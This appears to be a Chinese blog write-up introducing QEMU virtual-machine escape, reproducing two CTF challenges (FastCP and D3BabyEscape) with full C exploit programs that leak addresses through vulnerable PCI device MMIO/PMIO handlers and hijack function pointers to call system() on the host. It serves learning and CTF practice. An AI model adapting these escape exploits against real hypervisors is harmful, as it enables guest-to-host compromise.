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qemu逃逸入门及例题复现
本文章详细记录了笔者对qemu逃逸的理解，同时复现了两个经典的CTF中的qemu逃逸的题目，详细记录了复现的过程，希望对你学习qemu逃逸有所帮助
常用指令 ==== ```text lspci ls /sys/devices/pci0000\:00/0000\:00\:04.0/ -monitor telnet:127.0.0.1:4444,server,nowait 后 nc 127.0.0.1 4444可以info pci看的更清楚,这个技巧仅限于qemu，发现内核不好使 ``` qemu到底在pwn什么 ============ - 主要是pwn qemu这个elf文件本身，说是虚拟机但是更像用软件实现虚拟化，qemu文件中有各种各样的函数可以使用，因此泄露之后如何有任意函数执行那么就可以拿到shell - 远程一般要反弹shell - 主要是把exp复制到.cpio这个压缩包中，这样就可以在qemu中运行我们所写的攻击脚本 ```bash mkdir exp cp ./initramfs-busybox-x64.cpio.gz ./exp/ cd exp gunzip ./initramfs-busybox-x64.cpio.gz cpio -idmv < ./initramfs-busybox-x64.cpio mkdir root cp ../exp.c ./root/ gcc ./root/exp.c -o ./root/exp -static find . | cpio -o --format=newc > initramfs-busybox-x64.cpio gzip initramfs-busybox-x64.cpio cp initramfs-busybox-x64.cpio.gz .. ``` 有关调试 ==== - 主要有两种调试方法 1. 直接gdb qemu这个文件，然后set args设置启动参数 2. 运行./launch.sh，然后ps -ef | grep qemu，通过gdb -p 进程号就可以连上进行调试了 - 发现想打exp里面的断点很困难，那就把断点打在qemu这个文件中，比如b fastcp\_mmio\_write,然后c就行了 基础知识 ==== - 有很多前人的参考博客就基本知识就不过多赘述，主要记录自己的一些理解 [入门最好的博客](https://www.anquanke.com/post/id/254906#h3-10) [一篇简短地讲qemu pwn到底在干什么的博客](https://www.cnblogs.com/JmpCliff/articles/17332921.html) [很详细地讲了qemu的基础知识](https://xz.aliyun.com/t/6562?time__1311=n4%2BxnD0DRDBAi%3DGkDgiDlhjmYgxIrxQSu0iD&alichlgref=https%3A%2F%2Fwww.bing.com%2F#toc-2) [这篇博客也不错](https://a1ex.online/2021/09/17/qemu%E9%80%83%E9%80%B8%E5%AD%A6%E4%B9%A0/) 地址转化 ---- - 这一点还是比较重要的，只有地址正确才能正确的执行相应的函数 PCI 设备地址空间 ---------- - 主要就是MMIO和PMIO，目前只pwn过MMIO的 主要漏洞 ---- - 一般的漏洞都是读写的错误，特别是写的越界，因此注意检查size的限制很重要 FastCP ====== [主要参考了这个博客](https://www.anquanke.com/post/id/254906#h3-8) - 入门qemu逃逸第一题，花了好几天时间才把所有的细节搞明白 题目分析 ---- - 题目名字就是fastcp，所以ida直接搜发现这些有关的，一般漏洞也都是因为mmio\_write，所以开始代码审计，审计过程略  - 在mmio\_write这个函数中跟进一个函数    **这里的函数执行竟然是通过存储的timer结构体，因此如果可以控制timer结构体意味着就可以任意函数执行** - 然后就是看是MMIO还是PMIO    发现resource0，那就是MMIO了 exp分析 ----- ### mmio\_write与qemu的联系 - 看到qemu中的这个函数就在想这个mmio\_mem怎么和这个qemu中的这个函数联系起来 - **应该这样理解，通过打开resource0这个设备再映射，那么往mmio\_mem写入的东西会被这样处理:FastCPState \*opaque和size这两个参数不用管，往mmio\_mem写入东西的偏移就是addr,对应偏移的值就是val，这样一切都联系起来了**   ### userbuf和phy\_userbuf - 这里要先理解我们写的exp和qemu是两个不同的进程，而我们的最终目的是通过泄露出qemu中的东西然后任意函数执行最终pwn掉qemu这个宿主 - 地址转换这个不多赘述  ### qemu中的函数和exp中的函数分析 - 主要是fastcp\_cp\_timer这个函数,cp\_info是这个函数的一个局部变量，cp\_list\_src要是**phy\_userbuf才行，因此我们不能在qemu这个进程中访问到exp进程的东西，但是却可以通过phy\_userbuf访问到。同时我们可以在exp中把想要的数据复制给userbuf，这样就联系起来了** - cmd=4，把cp\_list\_src也就是phy\_userbuf中的cp\_info复制给qemu中的cp\_info这个局部变量，然后把cp\_buffer中的数据复制给dst  - cmd=2，把src中的值复制给cp\_buffer  - cmd=1，把src的值复制给buf，再把buf的值复制给dst  exp攻击流程 ------- ### 任意地址的泄露 - 注意到把buf的值复制到dst时没有长度限制，但是在qemu这个结构体中，buf后面就是timer这个结构体，因此可以把timer结构体的内容泄露  - 看到exp中leak\_timer = \*(uint64\_t\*)(&userbuf\[0x10\]),这就是通过phy\_userbuf这个桥梁，在exp进程中获取到了qemu进程的东西  ### 任意函数的执行 1. 前面说到有cb(opaque)这个任意函数执行，因此设置相应的值就可以  2. 这里先说说这个struct\_head是什么，其实就是这个结构体的头部，所以才有timer.opaque = struct\_head + 0xa00 + 0x1000 + 0x30     3. 再说说exp中的这部分  - src和dst都是gva\_to\_gpa(userbuf + 0x1000) - 0x1000 ，先把src复制到buf,因为len=0x1000 + sizeof(timer)所以buf后面的timer结构体就被修改为我们期望的样子了。后面buf复制到dst其实都不重要了，然后只要让cmd=1，也就是调用fastcp\_cp\_timer函数就可以任意函数执行了 - 这里又来了一个知识点，因此虽然是memcpy(userbuf + 0x1000, &timer, sizeof(timer)); 但是后面却是gva\_to\_gpa(userbuf + 0x1000) - 0x1000，这是因为多于一页物理地址不一定连续了  - exp ```C #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/io.h> #include <unistd.h> #define PAGE_SHIFT 12 #define PAGE_SIZE (1 << PAGE_SHIFT) #define PFN_PRESENT (1ull << 63) #define PFN_PFN ((1ull << 55) - 1) char* userbuf; uint64_t phy_userbuf, phy_userbuf2; unsigned char* mmio_mem; struct FastCP_CP_INFO { uint64_t CP_src; uint64_t CP_cnt; uint64_t CP_dst; }; struct QEMUTimer { int64_t expire_time; int64_t timer_list; int64_t cb; void* opaque; int64_t next; int attributes; int scale; char shell[0x50]; }; void die(const char* msg) { perror(msg); exit(-1); } uint64_t page_offset(uint64_t addr) { return addr & ((1 << PAGE_SHIFT) - 1); } uint64_t gva_to_gfn(void* addr) { uint64_t pme, gfn; size_t offset; int fd = open("/proc/self/pagemap", O_RDONLY); if (fd < 0) { die("open pagemap"); } offset = ((uintptr_t)addr >> 9) & ~7; lseek(fd, offset, SEEK_SET); read(fd, &pme, 8); if (!(pme & PFN_PRESENT)) return -1; gfn = pme & PFN_PFN; return gfn; } //用户虚拟地址gva到用户物理地址gpa //先根据用户虚拟地址gva算出，用户所在页号gfn,再根据gfn和offset算出用户物理地址gpa（将gfn和offset位拼起来） uint64_t gva_to_gpa(void* addr) { uint64_t gfn = gva_to_gfn(addr); assert(gfn != -1); return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr); } //一开始mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); //mmio_mem = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); void mmio_write(uint64_t addr, uint64_t value) { *((uint64_t*)(mmio_mem + addr)) = value; } //这个read感觉完全没用，不用都行 uint64_t mmio_read(uint64_t addr) { return *((uint64_t*)(mmio_mem + addr)); } void fastcp_set_list_src(uint64_t list_addr) { mmio_write(0x8, list_addr); } void fastcp_set_cnt(uint64_t cnt) { mmio_write(0x10, cnt); } void fastcp_do_cmd(uint64_t cmd) { mmio_write(0x18, cmd); } //这个fastcp_do_readfrombuffer和fastcp_mmio_read完全不一样 //把buffer的数据复制到dst void fastcp_do_readfrombuffer(uint64_t addr, uint64_t len) { //以下三个是往cp_info里面写入值 struct FastCP_CP_INFO info; info.CP_cnt = len; info.CP_src = NULL; info.CP_dst = addr; memcpy(userbuf, &info, sizeof(info)); //以下三个是往opaque->cp_state写入值 fastcp_set_cnt(1); fastcp_set_list_src(phy_userbuf); fastcp_do_cmd(4); sleep(1); } //把src的数据复制到buffer void fastcp_do_writetobuffer(uint64_t addr, uint64_t len) { struct FastCP_CP_INFO info; info.CP_cnt = len; info.CP_src = addr; info.CP_dst = NULL; memcpy(userbuf, &info, sizeof(info)); fastcp_set_cnt(1); fastcp_set_list_src(phy_userbuf); fastcp_do_cmd(2); sleep(1); } void fastcp_do_movebuffer(uint64_t srcaddr, uint64_t dstaddr, uint64_t len) { struct FastCP_CP_INFO info[0x11]; for (int i = 0; i < 0x11; i++) { info[i].CP_cnt = len; info[i].CP_src = srcaddr; info[i].CP_dst = dstaddr; } memcpy(userbuf, &info, sizeof(info)); fastcp_set_cnt(0x11); fastcp_set_list_src(phy_userbuf); fastcp_do_cmd(1); sleep(1); } //在qemu_main_loop中会不断执行各个函数，包括fastcp_mmio_write这个函数 int main(int argc, char* argv[]) { int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); if (mmio_fd == -1) die("mmio_fd open failed"); //把刚才打开的resource0文件内容映射到一个地方 mmio_mem = mmap(0, 0x100000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed"); printf("mmio_mem: %p\n", mmio_mem); /* MAP_ANONYMOUS 是 mmap() 函数的一个标志，用于创建匿名映射，即在进程的地址空间中映射一段未与任何文件关联的内存区域 因此有了-1这个参数 */ userbuf = mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (userbuf == MAP_FAILED) die("mmap userbuf failed"); /* mlock() 是一个系统调用，用于锁定指定内存区域，防止其被交换到磁盘上。 这可以确保这些内存区域的内容始终驻留在物理内存中，而不会因为系统内存不足而被交换出去。 */ mlock(userbuf, 0x10000); phy_userbuf = gva_to_gpa(userbuf); printf("user buff virtual address: %p\n", userbuf); printf("user buff physical address: %p\n", (void*)phy_userbuf); fastcp_do_readfrombuffer(phy_userbuf, 0x1030); fastcp_do_writetobuffer(phy_userbuf + 0x1000, 0x30); fastcp_do_readfrombuffer(phy_userbuf, 0x30); //泄露pie,得到system函数的地址 uint64_t leak_timer = *(uint64_t*)(&userbuf[0x10]); printf("leaking timer: %p\n", (void*)leak_timer); fastcp_set_cnt(1); uint64_t pie_base = leak_timer - 0x4dce80; printf("pie_base: %p\n", (void*)pie_base); uint64_t system_plt = pie_base + 0x2C2180; printf("system_plt: %p\n", (void*)system_plt); //堆上的某个地址 uint64_t struct_head = *(uint64_t*)(&userbuf[0x18]); struct QEMUTimer timer; memset(&timer, 0, sizeof(timer)); timer.expire_time = 0xffffffffffffffff; timer.timer_list = *(uint64_t*)(&userbuf[0x8]); timer.cb = system_plt; timer.opaque = struct_head + 0xa00 + 0x1000 + 0x30; //这里应该是在qemu这个进程中timer.shell printf("struct_head: %p\n",struct_head); strcpy(&timer.shell, "echo flag{a_test_flag}"); //变量仅仅在栈上或堆上是不行的，得到mmio里面去才能被qemu用 memcpy(userbuf + 0x1000, &timer, sizeof(timer)); //把src复制到buffer,再把buffer复制到dst //把src复制到buffer时就把整个结构体中的timer结构体给覆盖为我们自己修改后的结构体 fastcp_do_movebuffer(gva_to_gpa(userbuf + 0x1000) - 0x1000, gva_to_gpa(userbuf + 0x1000) - 0x1000, 0x1000 + sizeof(timer)); fastcp_do_cmd(1); return 0; } ``` ```bash mkdir exp cp ./initramfs-busybox-x64.cpio.gz ./exp/ cd exp gunzip ./initramfs-busybox-x64.cpio.gz cpio -idmv < ./initramfs-busybox-x64.cpio mkdir root cp ../exp.c ./root/ gcc ./root/exp.c -o ./root/exp -static find . | cpio -o --format=newc > initramfs-busybox-x64.cpio gzip initramfs-busybox-x64.cpio cp initramfs-busybox-x64.cpio.gz .. ``` D3BabyEscape ============ 题目分析，开始逆向 --------- - 首先根据-device启动参数知道设备是l0dev，接下来进行逆向。逆向当然不是看所有部分，我们只关心一些重点，也就是这些部分。通过search text找到所有含有l0dev的字符串然后逆向这些函数   - 这里有个小技巧，其实大部分mmio\_read或者mmio\_write这些函数的参数列表其实都是相似的，这里之前参考之前的一个题进行修改，事实证明确实如此  - 逆向有开源的东西时不要硬逆，看看有没有什么资源是现成的那就可以直接用 - l0dev\_realize函数,可见mmio,pmio都有  - l0dev\_instance\_init函数 - **其实qemu都会维护一个结构体，这里的v1一般就是这个结构体的头部，因此可以根据此大致逆向出这个结构体是个什么，而且这个结构体一般都有buffer**  - 结构体,逆向结构体的过程就是算算偏移，要自己体会  - mmio\_read函数,如果可以控制offset，就可以任意地址泄露  - mmio\_write函数,发现addr=128可以控制offset的值,addr=64这个看的很奇怪，其实就是根据结构体头部+0xd48来执行这里的函数，然后将buf作为rdi,就是一个任意函数执行  - pmio\_read函数,复制值666就可以让magic=1  - pmio\_write函数,magic=1可以任意地址写  exp分析 ----- - 有了任意地址读和写，任意函数执行，这个题就很简单了 - exp没什么好分析的，注意如何使用libc中的函数，从Dockerfile里面看到libc版本然后手动找偏移就行了   - 通过info pci找到pmio的端口  ```C #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <sys/io.h> char *mmio_mem; size_t mmio_read(size_t addr) { size_t *mmio = (size_t *)((size_t)mmio_mem + addr); return *(mmio); } void mmio_write(size_t addr, size_t val) { size_t *mmio = (size_t *)((size_t)mmio_mem + addr); *(mmio) = val; } #define IO_PORT 0xc000 size_t pmio_read(size_t addr) { size_t pmio = IO_PORT + addr; return inl(pmio); } void pmio_write(size_t addr, size_t val) { size_t pmio = IO_PORT + addr; outl(val, pmio); } int main() { int mmio_fd; size_t libc_addr = 0, system_addr; // Open and map I/O memory for the string device mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC); if (mmio_fd == -1) { perror("open"); exit(EXIT_FAILURE); } mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0); if (mmio_mem == MAP_FAILED) { perror("mmap"); exit(EXIT_FAILURE); } if(iopl(3) == -1) /* Apply to system for accessing the port */ { perror("iopl"); exit(EXIT_FAILURE); } mmio_write(128, 0x100); libc_addr = mmio_read(4); libc_addr = libc_addr - 0x460a0; // srandom offset printf("libc_addr: %#lx\n", libc_addr); system_addr = libc_addr + 0x50d70; //让magic的值为666 pmio_write(0, 666); pmio_read(0); //覆盖rand_r为system，任意函数执行 pmio_write(20, system_addr); mmio_write(64, 0x6873); return 0; } ``` ```bash mkdir exp cp ./bin/rootfs.img ./exp/ cd exp cpio -idmv < ./rootfs.img mkdir root cp ../exp.c ./root/ gcc ./root/exp.c -o ./root/exp -static find . | cpio -o --format=newc > rootfs.img cp rootfs.img /home/zp9080/attachment/bin ```
发表于 2024-12-05 09:36:56
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